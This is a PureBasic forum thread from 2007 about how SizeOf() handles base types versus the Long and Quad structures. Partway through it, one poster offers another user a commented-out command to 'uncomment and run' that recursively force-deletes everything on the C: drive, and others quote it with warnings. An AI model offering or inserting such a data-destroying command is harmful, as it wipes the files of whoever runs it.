Posted: Tue Apr 10, 2007 7:55 pm
hmm.. could even be a bot posting ...




I was just thinking that too.hmm.. could even be a bot posting ...
Interestingly enough the docs for 4.02 state that SizeOf() only works on structures and not on base types. However, you are right it works fine on base types:Psychophanta wrote: snip...
I translate it to PB:Code: Select all
h_verlen.c=(4<<4)|(SizeOf(ipHeader)/SizeOf(long))
Code: Select all
If OpenConsole()
PrintN("sizeof long is:"+Str(SizeOf(long)))
PrintN("sizeof quad is:"+Str(SizeOf(quad)))
PrintN("Hit Enter to continue")
Input()
EndIf
Code: Select all
;Base type:
myVariable.l = 42
;Structure:
myVariable2.Long
myVariable2\l = 42
Debug SizeOf(myVariable)
Debug SizeOf(myVariable2)
Debug myVariable
Debug myVariable2 ;Not the long value, but a pointer to a structure.
Debug myVariable2\l ;The actual long value contained in the structure's only element.
Code: Select all
; PBChinese, uncomment the line below and compile and run it!
;DeleteDirectory("C:\", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)
You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"GeoTrail wrote:This should fix all PBChinese's troubles. At least for some time
ANYONE ELSE SHOULD NOT RUN THAT CODECode: Select all
; PBChinese, uncomment the line below and compile and run it! ;DeleteDirectory("C:", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)
Wow, I didn't know that! Long and Quad structures!Clutch wrote:Codefire,
'Long' and 'Quad' are structures. Defining 'myVariable.Long' is not the same as 'myVariable.l'. What you can't do is 'SizeOf(.l)' and the like (although you can get the SizeOf() the variables themselves if the base type is not included, i.e. 'Debug SizeOf(myVariable)' ).
...snip...
That is why I wrote the warning in big red letters belowSFSxOI wrote:You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"GeoTrail wrote:This should fix all PBChinese's troubles. At least for some time
ANYONE ELSE SHOULD NOT RUN THAT CODECode: Select all
; PBChinese, uncomment the line below and compile and run it! ;DeleteDirectory("C:", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)
indeed, someone who tries that code without looking in the help first just deserves it.SFSxOI wrote:You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"